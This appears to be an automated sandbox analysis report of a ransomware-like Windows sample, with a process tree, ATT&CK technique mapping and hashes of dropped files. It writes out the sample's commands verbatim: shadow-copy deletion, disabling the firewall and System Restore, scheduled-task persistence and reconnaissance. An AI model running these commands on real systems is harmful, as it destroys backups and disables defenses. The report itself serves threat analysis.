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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4544
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\cakhia-link.org_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4188
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4260 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4816
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Suspicious behavior: EnumeratesProcesses
PID:2388
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2976 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:3784
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4360 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:5576
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4824 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:5300
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5884 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:5508 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:5024
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1200 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:5132
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:476 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:5776
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\cakhia-link.org_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4692
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:1708
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:4520
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:2984
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:552
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:6076 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:3344
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:2396
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:2056
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:1084
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a23055 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:5108
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:3108
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C:\Users\Admin\AppData\Local\Temp\cakhia-link.org_hyber.exeC:\Users\Admin\AppData\Local\Temp\cakhia-link.org_hyber.exe1⤵PID:2312
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C:\Users\Admin\AppData\Local\Temp\cakhia-link.org_hyber.exeC:\Users\Admin\AppData\Local\Temp\cakhia-link.org_hyber.exe1⤵PID:3160
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:6028
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\ProgramData\invoice_1.pdf
- Size 66KB
- SHA256 b92fd2cebfdda138575392da4bfe0b0380a13cdb05560dbfb8c92971947f545a
- MD5 dc043406f9e15fefcc745884cb82dd71
- SHA1 112a940d5dacb63a64c2fa5d909fb8c5e7ea4298
- SHA512 75652181c091660dc7ab6edcc7ea2f8fd44434ee3414e41caf9caa74c4817554cd4d491ec332f6b92ed7ecc6eb86bed345f7c68e36b9c07549fccda896b946bd
- SSDEEP 1536:Y2Rveo0zwn1+7cRMa3EJIsjDCQG93FBJA8ezply9ueJzRBDEI8CBtse87Xvv+:YgvQzwnA81EljDWOzpl6uUzRRl8CBtss
- TLSH T10A633A334B23FDC5677F3D80F05429811C883A6743B5A778FBC909A939A5688EF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\SystemVolumeInformation\doc_3.pdf
- Size 66KB
- SHA256 28651b7732757b965b3712f521ba87194253654496f0568d8f1e92a263dc9e3c
- MD5 ddc9f9ae3f95895b51291c97c7d9237c
- SHA1 47c335b9bb9759ef02bc4897326c8590df04d2d0
- SHA512 7e85b84c906b32948842ac960ad7ac215c1c79806b3656933c901b832bc04e98098e55b5bd21a18f6454fe78eefee5b0c5ce106ac7bd425738b5f29116b259a3
- SSDEEP 1536:42Rveo0zwn1+7cRMa3EJIsjDCQG93FBJA8ezply9ueJzRBDEI8CBtse87Xvv5:4gvQzwnA81EljDWOzpl6uUzRRl8CBtsv
- TLSH T13E6339334B23FDC5677F3D80F06429810C883A6747B5A778FBC909A939A5288DF2D598
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 246B
- SHA256 0c5ed81b581c0ada00b2559709ded08db5947c48ef34d78f82c1b80f45d45174
- MD5 afc67390fd1f760ea09bccda6001815e
- SHA1 3e1a14042a3224f3d39d55620383d94bc8d52245
- SHA512 be6fb14b3b406ad6a06fb18cc95f5e4c089d56de811d10060f6580734004b6f1819657f934e89cbd0bcd5c00cf11a5f271a5e939d7dc580e63cc94e4599d76f1
- TLSH T130D0A78BB14DC6A90001567B81F3CE8DE5A5482C3B57BEA28EA5DD4E369089489F6943
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 247B
- SHA256 2a22b3498be61a5be82297e5f8ed7cb0192a19a52ea12c4e7be42b3eeca5fdaf
- MD5 a12d6fcbdfb70d0f998fd852b77b5f03
- SHA1 5941407a7e165757529049e6155f3e10cb180ced
- SHA512 ee3422983a6736a4c091914189fd19785eeb336083ff4e2e9d88be0e4bf6977dff72fd854bfceb01b61f26f203a89201d931f1a5ea93b273f37f1378dc27bd70
- TLSH T1DDD0A78BB14DC6A90001567F80F3CE8DE6E6482C3B57BE629E65DD0E368089489F6943
- MD5 SHA1 SHA512 TLSH